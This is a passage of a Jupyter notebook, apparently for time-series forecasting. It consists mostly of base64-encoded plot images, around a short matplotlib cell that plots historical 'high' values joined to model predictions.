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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "ds3=df_high.tolist()\n", + "ds3.extend(lst_output)\n", + "plt.plot(ds3[2000:])\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "O9vkxtqkPwCz", + "outputId": "d3f96ca4-fb38-486a-903b-faf8d2ec4887" + }, + "outputs": [ + { + "data": { + "image/png": "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